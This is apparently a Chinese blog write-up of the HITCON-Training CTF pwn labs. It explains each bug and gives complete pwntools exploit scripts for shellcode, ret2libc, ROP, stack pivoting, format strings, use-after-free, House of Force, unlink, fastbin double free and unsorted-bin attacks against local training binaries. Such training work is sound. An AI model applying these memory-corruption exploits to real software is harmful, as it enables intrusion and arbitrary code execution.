HackPluto's Blog

HITCON-Training-Writeup

字数统计: 4.2k阅读时长: 18 min
2020/04/14 Share

HITCON-Training-Writeup

最近在学习PWN,学习完了知识点,就找了一些题库来练习,HITCON-Training是一个对新手十分友好的题库,题目基本涵盖了ctf pwn中的所有常见知识点。

题目链接

在我学习的过程中也参考了网上的一些教程,但是网上的很多东西写的云龙混杂,EXP教程执行出来都是错的也有一些代码写的很冗杂,所以我就想自己写一篇教程。这个WP的所有代码都是我运行之后无误的,所以可参考的价值比较高。

lab1-sysmagic


我们发现flag的输出和输入并没有关系,而且输入分检测只有if一个判断,使用IDA修改指令即可。

修改JNZ的机器码为74,即可修改为JZ

输出flag

lab2-orw.bin

Linux syscall 寄存器值

这个题就是自己写汇编然后输入,读取flag,题目要求只能用open,read,write函数
伪代码如下

1
2
3
4
5
char* path = '/home/orw/flag'
char* file = ''
sys_open(path,0,0)
sys_read(3,file,0x30)
sys_write(1,file,0x30)

这里提供两个EXP,一个是自己写汇编,一个是使用pwntools的shellcode库
EXP 1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

s = process('./orw.dms')
shellcode = ''
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
shellcode += asm('xchg ecx,ebx;mov bl,0x3;mov dl,0x30;int 0x80;')
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')

def pwn():
recv = s.recvuntil(':')
print recv
s.sendline(shellcode)
flag = s.recv()
print flag

pwn()

EXP 2:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

r = process('./orw')

payload = ''
payload += asm(shellcraft.open("/home/orw/flag"))
payload += asm(shellcraft.read("eax","esp",0x100)) #read返回的文件描述符在EAX中
payload += asm(shellcraft.write(1,"esp",0x100))
r.sendlineafter('Give my your shellcode:',shellcode)

r.interactive()

lab3-ret2sc

很简单的一道栈溢出,溢出点在gets函数


先查看程序防护,发现没有开启数据段不可执行,所以我们可以把shellcode放置在栈上
通过GEF自带的patteren可以查看溢出点距离EBP的距离,也就是我们要填充的长度

发现只有32字节,而pwntools自带的shellcode有44字节,所以shellcode不可以放在栈上,只能放在存储name的BSS段。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

r = process('./ret2sc')

name_addr = 0x804a060

r.recvuntil(":")
r.sendline(asm(shellcraft.sh()))
r.recvuntil(":")
shellcode = 'a' * 32
shellcode += p32(name_addr)
r.sendline(shellcode)

r.interactive()

lab4-ret2lib


检查程序的防护发现程序开启了NX,所以不能使用上面的办法,这次需要自己获得system_call的地址
确定填充长度为60字节

这里我使用一个自动化查找libc的工具
关于延迟绑定和PLT的部分我就不多说了,可以看我博客里专门讲这节的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2lib')
ret2lib = ELF('./ret2lib')
puts_got = ret2lib.got['puts']
print "puts_got : ",hex(puts_got)
sh.recvuntil(":")
sh.sendline(str(puts_got))
sh.recvuntil(": ")
puts_addr = int(sh.recvuntil("\n").strip(),16)
print "puts address :",puts_addr
sh.recvuntil(":")
libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump('puts')
print "libc address: ",libcbase
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
payload = flat(['A' * 60, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()

lab5-simplerop


题目提示的很明显了,是一个ROP题

通过IDA发现没有现成的system函数可以用,只能自己构造system call。
我们利用如下系统调用来获取 shell

1
execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0



发现了一个很好的gadget,可以直接将三个参数的值赋值好。

找到了int 0x80

确定溢出长度。
这个题我的WP和网上很多人的都不一样,网上大部分做法都是利用调用read函数,将/bin/sh读取到BSS再去调用,我觉得这样很麻烦,直接放到栈上不就好了,所以就有了下面这个代码,我觉得我这个代码应该是全网最短的,最好懂的了,哈哈哈哈

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
s = process('./simplerop')
s.recvuntil(':')
payload = '/bin/sh\x00aaaaaaaaaaaaaaaaaaaaaaaa'
pop_eax_ret = 0x080bae06
pop_edx_ecx_ebx_ret = 0x0806e850
int_0x80 = 0x080493e1
payload += flat([pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,0xffffcedc,int_0x80])
s.sendline(payload)
s.interactive()
`

lab6-migration

先确定溢出长度

这个题还是用ROP来做,只不过先需要栈迁移
寻找栈迁移的gadget

利用的过程是这样的

先利用栈溢出加ROP,将栈迁移到BSS上
再利用puts打印出puts函数的地址
打印出puts的地址后就可以通过偏移得出system和/bin/sh的地址
最后控制程序的返回地址调用system(‘/bin/sh’)

1
payload1 = 'a'*40 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100)

这个代码就是将栈迁移到了buf的地方,然后调用read函数。这里解释一下leave和ret这两个指令,首先通过上面的栈溢出,已经将EBP变成了buf的地址,注意这里的leave_ret是在read读取完之后才执行的,因为我们现在是在通过ROP来模拟call read这个指令,所以在read的三个参数下面放置的是read结束后的返回地址。

1
2
payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload2 += p32(0) + p32(buf2) + p32(0x100)

read将payload2读取到了buf的位置,所以read结束后,先进行leave,也就是mov esp,ebp; pop ebp ,ESP先指向了buf2,pop ebp后,EBP变成了buf2,esp指向了puts_plt,这时候再执行ret指令,成功跳转到了puts函数。打印出了puts函数地址,然后再进行一次read函数,将程序的返回地址覆盖成system函数。

1
payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

r = process('./migration')
lib = ELF('/lib32/libc.so.6')
elf = ELF('./migration')

read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
read_got = elf.got['read']
puts_got = elf.got['puts']
puts_lib = lib.symbols['puts']
system_lib = lib.symbols['system']

buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400

pop_ebx = 0x0804836d
leave_ret = 0x08048418

r.recvuntil(':\n')

# mov stack to bss + 0x500
gdb.attach(r)
payload1 = 'a'*40 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100)
pause()
r.send(payload1)
sleep(0.1)
# leak libc

payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload2 += p32(0) + p32(buf2) + p32(0x100)
pause()
r.send(payload2)
sleep(0.1)
pause()
puts_addr = u32(r.recv(4))

print "puts_addr:" + hex(puts_addr)

libc_base = puts_addr - puts_lib
print "libc base is " + hex(libc_base)
system_addr = libc_base + system_lib
binsh_libc = lib.search("/bin/sh").next()
binsh = binsh_libc + libc_base
payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)

r.send(payload3)
sleep(0.1)

r.interactive()

这个地方为什么用send不用sendline可以看这篇博客

lab7-crack

格式化字符串漏点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *



r = process('./crack')

password_addr = 0x804a048
r.recvuntil("?")


r.sendline(p32(password_addr) + "#" + "%10$s" + "#" )
r.recvuntil("#")
p = r.recvuntil("#")
password = u32(p[:4])
r.recvuntil(":")
print str(password)

lab8-craxme

同样是一道格式化字符串漏洞的题

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p_magic = 0x0804A038
fmt_len = 7

cn = process('./craxme')

cn.recv()
pay = fmtstr_payload(fmt_len,{p_magic:0xfaceb00c})
cn.sendline(pay)
cn.recvuntil('}')

lab10-hacknote

分析程序

先使用IDA查看反汇编程序

主要是实现三个功能,增,删,查。
先分析一下这个add函数。

notelist应该是一个全局变量的数组。数组用来存储malloc的一个8字节空间。这8字节空间里放的是note结构体。结构体第一维是print_note函数地址

接着用户输入一个size,malloc一个size大小的空间,地址填入结构体的第二维。

漏洞点


这个程序的漏洞点在del函数
删除的note仅仅是将开辟的空间free了,并没有把指针清零,这也就导致了UAF漏洞,use after free。

利用方式

UAF利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

r = process("./hacknote")

def addnote(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))

def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

magic = 0x08048986
addnote(32,"ddaa")
addnote(32,"ddaa")
addnote(32,"ddaa")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
r.interactive()

lab11-bamboobox

分析程序

先使用IDA查看程序

先是申请一个小的堆存放hello,goodbye函数

接下来就是几个功能性函数,这些都是很基础的东西



然后就是题目中的这两个全部变量。上面的num是用来统计已经存在的box数量。
下面的那个数组存储的是结构体,结构体里包括box名字的长度和box名字的地址。

漏洞点


这个程序的漏洞点在read函数。因为read函数之后并没有检测输入的长度所以会导致溢出,而且是任意长度的堆溢出。

利用方式

House Of Force

具体的原理讲解看这个链接 House Of Force

如果了解了HOF那么这次的利用思路就是先malloc一个堆空间,然后通过堆溢出改变top chunk的size,将top chunk的指针移动到第一个堆块上面因为


最上面的堆块里存储着hello和goodbye函数的地址,如果我们可以把里面的内容修改成magic函数的地址就可以实现读取flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

r = process('./bamboobox')

def additem(length,name):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def modify(idx,length,name):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)

def remove(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

def show():
r.recvuntil(":")
r.sendline("1")

magic = 0x400d49
additem(0x100,"ddaa")
modify(0,0x110,"a"*0x100 + p64(0) + p64(0xffffffffffffffff))
additem(-(0x10+0x10)-(0x10+0x100)-(0x10),"dada")
additem(0x20,p64(magic)*2)
r.sendline('5')
r.interactive()

我来着重讲一下这两句代码的意思

1
2
offset_to_heap_base = -(0x40 + 0x20)
malloc_size = offset_to_heap_base - 0xf

这个是在移动top chunk指针的位置,算是关键的一步,上面的0x60是怎么算出来的呢,是因为原始top chunk的位置和最上面的一块chunk刚好距离0x60

然后为什么要减0x10呢,是因为我们的目标是修改0x603010的内容,因为chunk是有块头的要占去16个字节,所以top chunk的指针应该要比0x603010小16个字节,所以要再减去0x10.

这个题其实也是unlink的一个套路题,因为题目中已经存在了chunklist,也就是0x06020c0的位置

这里我大概说一下unlink的利用方式吧,就是利用堆溢出改变一个chunk的size最后一位,将前一个chunk伪造成free的,前一个chunk通常是我们伪造好的一个chunk,然后再free被改变size的那个chunk,触发前一个chunk unlink.
因为现在glibc存在检查机制,那么对应在这个题目中,具体的利用过程如下。
首先是add三个堆块

1
2
3
4
5
itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8
add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2

我们通过在chunk0中输入内容来溢出到chunk1中,同时在chunk0中需要伪造一个chunk出来。在这个题目中,假设伪造的chunk地址为chunk0的地址(数据部分开始地址),伪造的chunk中,FD为 p_chunk0-0x18 ,BK为 p_chunk0-0x10 ,那么如果unlink可以成功,我们可以达到的效果就是

1
2
FD->bk = BK <==> p_chunk0 = p_chunk0-0x10
BK->fd = FD <==> p_chunk0 = p_chunk0-0x10


这样我们就将chunk0的位置转移到了itemlist附近,这样只需要修改chunk0的内容就可以将chunk1和chunk2修改为任意地址,然后通过show,change就实现了任意地址的读和写。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *

cn = process('./bamboobox')
bin = ELF('./bamboobox')

itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8

def add_item(length,name):
cn.sendline('2')
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('the name of item:')
cn.sendline(name)

def change_item(index,length,name):
cn.sendline('3')
cn.recvuntil('the index of item:')
cn.sendline(str(index))
cn.recvuntil('the length of item name:')
cn.sendline(str(length))
cn.recvuntil('new name of the item:')
cn.sendline(name)

def remove_item(index):
cn.sendline('4')
cn.recvuntil('the index of item:')
cn.sendline(str(index))

def show_item():
cn.sendline('1')
data = cn.recvuntil('----------------------------')
return data

add_item(256,'aaaaaaaa')#chunk0

add_item(256,'bbbbbbbb')#chunk1

add_item(256,'cccccccc')#chunk2

pay = p64(0)+p64(256+1)+p64(p_chunk0-0x18)+p64(p_chunk0-0x10)
pay += 'A'*(256-4*8)
pay += p64(256)+p64(256+0x10) + 'test'

change_item(0,len(pay),pay)

remove_item(1)

gdb.attach(cn)
pause()
pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(bin.got['puts'])
change_item(0,len(pay2),pay2)

pause()
change_item(1,16,p64(bin.symbols['magic']))
flag = cn.recv()

lab12-secretgarden

分析程序

使用IDA查看反汇编,主要功能是添加,访问,删除,

add函数先是判断当前花的数量是不是大于0x63,接着malloc一个28字节的空间,这28字节中前16字节存储的是根据用户输入的花名字的长度开辟的堆空间地址,然后用户输入花的名字。接着是在28字节的空间中输入花的颜色。

漏洞点

这个题的漏洞点在del函数的地方,这次的free虽然将指针也清零了,但是在free的时候没有判断这个堆快之前有没有释放,所以就存在double free漏洞。
我在这里使用的是fastbin 的double free其他类型的bin的利用这里先不介绍,不会的同学可以先看看这个教程

Double Free

我说一下我对double free的理解吧,对于fastbin类型的,漏洞的成因主要是glibc在free的时候只检测目前释放的堆块和fastbin头一块是不是相同的,并不去检测后面的堆块,还有一个原因就是系统给用户返回的数据域里存在chunk的FD指针,所以用户可以随心所欲的更改这个指针的内容。
比如看下面这个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b;

bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk2);
free(chunk1);

chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return 0;
}

通过gdb调试发现,第一次chunk1分配的地址是0x602010,chunk2分配的地址是0x602030

第一次free chunk1后

目前只有一个fastbin
free chunk2后


我们可以看到free的chunk2在0x602030的地方存储着FD指针,指向第一个块,但是这个区域是我们可以修改的,这也就是隐患所在。目前fastbin结构是

1
main_area ---> funk 2 ---> funk 1

再次free chunk1后

1
main_area ---> funk 2 ---> funk 1 --->  funk 2


chunk 1的FD指针已经修改了

所以最终分配到了我们预先设定的地方。

漏洞利用

继续回到这个题,这个题同样采用fastbin double free来利用
这个题里同样有magic函数,所以利用的思路就是

1.通过double free获得got表附近的一个堆块
2.修改某个函数的got为magic函数的地址

这里我选择的函数是puts函数。
通过IDA可以看到GOT的地址为0x602000,puts_got为0x602020。
要寻找一个伪造的堆块大小在fastbin最大的0x80字节内的堆块,最终选择到了这里

大小是0x60,大小很合适。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

r = process('./secretgarden')

def raiseflower(length,name,color):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(length))
r.recvuntil(":")
r.sendline(name)
r.recvuntil(":")
r.sendline(color)

def remove(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")#0
raiseflower(0x50,"da","red")#1
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")#malloc in fake_chunk
r.interactive()

lab13-heapcreator


这个题的漏洞点就在这个edit函数,我们可以看到read_input的长度是比size刚好长一位的,考虑到glibc对于malloc的空间复用,我们申请的chunk会使用下一个chunk的pre_size,所以可以通过堆溢出覆盖下一个chunk的size


这个是没有覆盖之前的堆结构


覆盖之后我们发现chunk的size变成了0x40


所以这个题的利用思路就是,再申请一个0x30的chunk,刚好可以将fastbin中的两个chunk获取到,而那个0x20大小的chunk是包含在0x40大小的chunk里的,我们就可以通过creat函数将任意地址写入题目中结构体中的指针域,然后通过edit,和show函数实现任意地址的读写。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

r = process('./heapcreator')
libc = ELF('/lib32/libc.so.6')

def create(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)

def edit(idx,content):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
r.recvuntil(":")
r.sendline(content)

def show(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))

def delete(idx):
r.recvuntil(":")
r.sendline("4")
r.recvuntil(":")
r.sendline(str(idx))

free_got = 0x602018
create(0x18,"dada") # 0
create(0x10,"ddaa") # 1

edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")

delete(1)
create(0x30,p64(0)*4 +p64(0x30) + p64(free_got)) #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
base = free_addr - libc.symbols['free']
print "base:",hex(base)
system = base + libc.symbols['system']
edit(1,p64(system))
delete(0)
r.interactive()

lab14-magicheap


题目中已经写好了flag函数

这个题目的漏洞点在edit函数

这里存在任意长度溢出漏洞。

这个题从题目来看出题人是想让使用Unsorted Bin Attack,这个攻击可以使一个任意地址变成一个很大的值,符合这个的要求,使用Unsorted Bin Attack做这个题比较简单,EXP如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

r = process('./magicheap')

magic_addr = 0x06020C0

def creat_heap(size,data):
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(data)

def del_heap(inx):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(inx))

def edit_heap(inx,size,data):
r.recvuntil(':')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(inx))
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(data)


creat_heap(0x20,"abcd")
creat_heap(0x400,"1234")
creat_heap(0x20,"aaaa")

del_heap(1)

edit_heap(0,0x40,flat(['a'*56,magic_addr-16]))
creat_heap(0x400,"aaaa")

r.recvuntil(":")
r.sendline("4869")
r.interactive()

CATALOG
  1. 1. HITCON-Training-Writeup
    1. 1.1. lab1-sysmagic
    2. 1.2. lab2-orw.bin
    3. 1.3. lab3-ret2sc
    4. 1.4. lab4-ret2lib
    5. 1.5. lab5-simplerop
    6. 1.6. lab6-migration
    7. 1.7. lab7-crack
    8. 1.8. lab8-craxme
    9. 1.9. lab10-hacknote
      1. 1.9.1. 分析程序
      2. 1.9.2. 漏洞点
      3. 1.9.3. 利用方式
        1. 1.9.3.1. UAF利用
    10. 1.10. lab11-bamboobox
      1. 1.10.1. 分析程序
      2. 1.10.2. 漏洞点
      3. 1.10.3. 利用方式
        1. 1.10.3.1. House Of Force
        2. 1.10.3.2. Unlink
    11. 1.11. lab12-secretgarden
      1. 1.11.1. 分析程序
      2. 1.11.2. 漏洞点
        1. 1.11.2.1. Double Free
      3. 1.11.3. 漏洞利用
    12. 1.12. lab13-heapcreator
    13. 1.13. lab14-magicheap